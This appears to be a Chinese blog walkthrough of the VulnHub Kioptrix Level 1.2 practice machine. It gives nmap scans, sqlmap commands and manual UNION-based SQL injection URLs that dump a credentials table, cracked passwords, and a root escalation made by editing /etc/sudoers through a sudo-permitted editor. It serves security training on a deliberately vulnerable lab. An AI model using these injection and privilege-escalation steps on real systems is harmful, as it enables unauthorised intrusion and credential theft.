心血来潮发表我的第一篇文章,希望大佬能指出我的不足,谢谢!
靶场下载地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/Kioptrix: Level 1.2 (#3), made by Kioptrix. Download & walkthrough links are available.
https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
解压打开后就该我们进行操作啦!
获取靶场ip
获取靶场ip:nmap -sn 192.168.1.1/24 (-sn:Ping扫描-禁用端口扫描)
扫描ip并把结果输出到kvm3文件夹并命名为attack方便查看:nmap 192.168.1.3 -A -oA kvm3/attack
(-oA:同时输出三种主要格式 -A:启动Os检测,版本检测,脚本扫描和traceroute)
在网页输入ip查看80端口内容
在该链接的跳转内容中发现
这些链接都会先行跳转到:http://kioptrix3.com/gallery/p.php/5
将该链接替换为http://192.168.1.3/gallery/p.php/5 发现可以正常访问!
遂修改host文件(C:\Windows\System32\drivers\etc\hosts)
因为发现网站会从IP地址跳转到 kioptrix3.com,把该网址重新替换为ip地址发现依然可以访问,遂修改host文件进行自动解析,方便后续测试或访问
进行web渗透测试
该url(http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos)中
可能存在sql注入漏洞,用sqlmap进行渗透
python sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --batch --dbs
成功获取到数据库
因为在之前的页面浏览中发现有登录网页,所以数据库中大概率会有账号密码
获取表:
python sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --batch -D gallery --tables
获取表数据:
python sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --batch -D gallery -T dev_accounts --columns
获取账号密码:
python sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --batch -D gallery -T dev_accounts -C username,password --dump
sqlmap帮我们自动爆破出密码了
手动注入方式进行渗透:
注入url:
http://kioptrix3.com/gallery/gallery.php?id=1 order by 6--+&sort=photoid#photos
发现有 6 列显示,通过联合查询查看显示位置:
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,2,3,4,5,6--+&sort=photoid#photos
在“2”的显示位置进行对应查询当前数据库:
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,database(),3,4,5,6--+&sort=photoid#photos
查询gallery库中所存在的表:
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema = "gallery"--+&sort=photoid#photos
查询我们需要的表中的数据(dev_accounts):
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema = "gallery" and table_name = "dev_accounts"--+&sort=photoid#photos
查询我们想要的数据字段:
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,username,password,4,5,6 from dev_accounts --+&sort=photoid#photos
然后将密码进行md5解密得到密码
dreg—Mast3r
loneferret—starwars
获取shell
尝试进行登录,发现账号密码并不正确
还记着最开始的22端口吗?尝试进行SSH登录
发现登陆成功
提权
获取到shell后的下一步就是进行提权操作,常见的提权方法有suid提权,sudo提权,内核提权
- 输入
查看当前权限sudo -l
-
ht为编辑器并且发现在当前靶场下是root权限,那思路就有了,可以用root权限下的ht编辑器进行修改账户文件,以达到root权限
输入命令打开编辑器:
sudo /usr/local/bin/ht
按F3打开
/etc/sudoers
文件
我们在第二行后添加
,/bin/bash
F2保存后ctrl+c退出
输入
sudo bash
命令
发现提权成功
-
或者我们可以在这行下面添加一条命令:
loneferret ALL=(ALL) ALL
(其中第一个ALL代表允许所有主机来源执行sudo,例如只允许该用户在本地执行sudo可以将ALL改成localhost
第二个代表该用户可以用任何用户的身份执行sudo
第三个代表该用户可以执行任何命令)
-
F2保存后ctrl+c退出
使用
sudo /bin/bash
命令进行提权操作
一样可以提权成功